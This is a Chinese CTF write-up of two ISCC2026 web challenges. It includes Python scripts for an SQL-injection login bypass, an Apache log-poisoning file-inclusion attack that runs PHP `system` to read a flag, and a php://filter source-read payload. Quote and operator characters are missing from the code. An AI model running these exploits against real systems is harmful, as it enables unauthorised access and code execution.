ISCC2026部分web题wp

ISCC2026部分web题wp
ISCC2026部分web题wp前言从CTF到Web安全ISCCInformation Security and Countermeasures Contest是国内知名的信息安全竞赛其Web题目涵盖了从基础到进阶的多种漏洞类型。对于编程初学者来说Web安全是一个极好的实践领域——你不仅能巩固编程基础还能理解网络协议、数据库和前后端交互的深层原理。本文将通过两道典型Web题目从基础概念讲到高级利用手法帮助你逐步掌握CTF中的Web解题思路。## 基础篇从SQL注入到代码审计### 什么是SQL注入SQL注入是最经典的Web漏洞之一。当用户输入被直接拼接到SQL查询语句中时攻击者可以通过精心构造的输入改变SQL语句的语义从而窃取、篡改数据。例如一个简单的登录查询sqlSELECT * FROM users WHERE usernameadmin AND password123456如果用户输入admin --那么注释符--会注释掉后续的密码检查导致绕过认证。### 第一道题简单的SQL注入绕过题目描述一个登录页面需要以admin身份登录但密码被过滤了空格和关键字。解题思路在过滤空格时我们可以使用/**/代替空格过滤or时可以用||替代。最终payloadadmin/**/||/**/11--完整解题代码Python脚本pythonimport requests# 目标URLurl http://example.com/login.php# 构造绕过过滤的payload# 使用/**/代替空格||代替or逻辑payload admin/**/||/**/11--# 发送POST请求data { username: payload, password: anything # 密码字段随意因为被注释掉了}response requests.post(url, datadata)# 检查返回内容是否包含登录成功标志if Welcome in response.text: print(登录成功Flag可能包含在响应中。) # 提取flag假设格式为ISCC{...} import re flag re.search(rISCC\{[^}]\}, response.text) if flag: print(Flag:, flag.group())else: print(失败尝试其他payload)这段代码展示了如何自动化发送请求并提取flag。关键点在于理解SQL注入的绕过技巧用注释块代替空格用SQL语法中的等价操作符代替被过滤的关键字。## 进阶篇文件包含与远程代码执行### 什么是文件包含漏洞当应用程序使用动态文件包含函数如PHP的include()且未严格过滤用户输入时攻击者可能包含任意文件。如果允许包含远程文件甚至可能导致远程代码执行RCE。### 第二道题日志文件包含题目描述一个文件查看功能参数file指定要查看的文件但限制了只能查看.txt文件。服务器存在Web日志且日志中记录User-Agent。解题思路 1. 通过修改HTTP请求的User-Agent字段写入PHP代码到日志文件。 2. 利用文件包含漏洞包含日志文件从而执行写入的PHP代码。 3. 通过代码执行读取flag文件。完整解题代码Python脚本pythonimport requests# 目标URLtarget_url http://example.com/index.php?file# 日志文件路径根据服务器配置推测log_path ../../var/log/apache2/access.log# 攻击者服务器地址用于测试实际可省略attacker_ip 192.168.1.100# 第一步向日志写入PHP代码通过User-Agent# 注意PHP代码需要避开引号冲突这里使用system函数执行系统命令malicious_agent ?php system(cat /flag.txt); ?# 发送请求使服务器记录恶意User-Agent到日志headers { User-Agent: malicious_agent, X-Forwarded-For: attacker_ip # 有时也记录此字段}print([*] 正在向日志写入恶意代码...)response requests.get(target_url test.txt, headersheaders)# 第二步包含日志文件触发代码执行print([*] 正在包含日志文件以执行代码...)response requests.get(target_url log_path)# 查看响应中是否包含flagif ISCC{ in response.text or flag in response.text.lower(): print([] 成功获取flag) print(response.text)else: print([-] 失败可能原因) print(- 日志路径不正确) print(- 服务器配置禁止远程包含) print(- User-Agent被转义) # 可以尝试其他路径如../../tmp/log这段代码演示了经典的两步攻击先污染日志再包含日志。关键点在于- 理解文件包含的路径构造相对路径与绝对路径- 掌握PHP代码注入的写法注意不要破坏语法- 知道日志文件的常见位置如Apache的access.log或error.log## 高级利用绕过过滤与提权在真实CTF中题目往往有更多限制。例如-WAF过滤可能过滤system、exec等函数。此时可以用assert、preg_replace的/e模式已废弃或反引号执行。-路径限制可能只允许包含.php文件。此时可以通过php://filter读取源码或利用phar://协议反序列化。-日志清理有时服务器会清理日志中的特殊字符。可以尝试编码绕过如URL编码或Base64编码。高级技巧示例使用php://filter读取源码python# 当无法直接执行命令时先读取源码寻找更多漏洞payload php://filter/convert.base64-encode/resourceindex.phpresponse requests.get(target_url payload)# 解码base64得到源码import base64print(base64.b64decode(response.text).decode())## 总结通过ISCC2026这两道Web题目我们从基础SQL注入走到了高级文件包含利用。核心收获如下1.理解漏洞原理SQL注入的本质是数据与代码未分离文件包含的本质是动态包含点不可控。2.掌握绕过技巧面对过滤要思考等价替换空格→注释、关键字→编码。3.学会自动化用Python脚本批量测试、提取flag是CTF必备技能。4.保持耐心Web题目往往需要结合多种技巧一次尝试失败后要反思原因路径错误编码问题WAF拦截。最后安全攻防是编程能力的最佳试金石。当你写出第一个成功注入的脚本时你不仅学会了Python的requests库更理解了如何用编程思维模拟人机交互。继续练习ISCC的奖杯在等你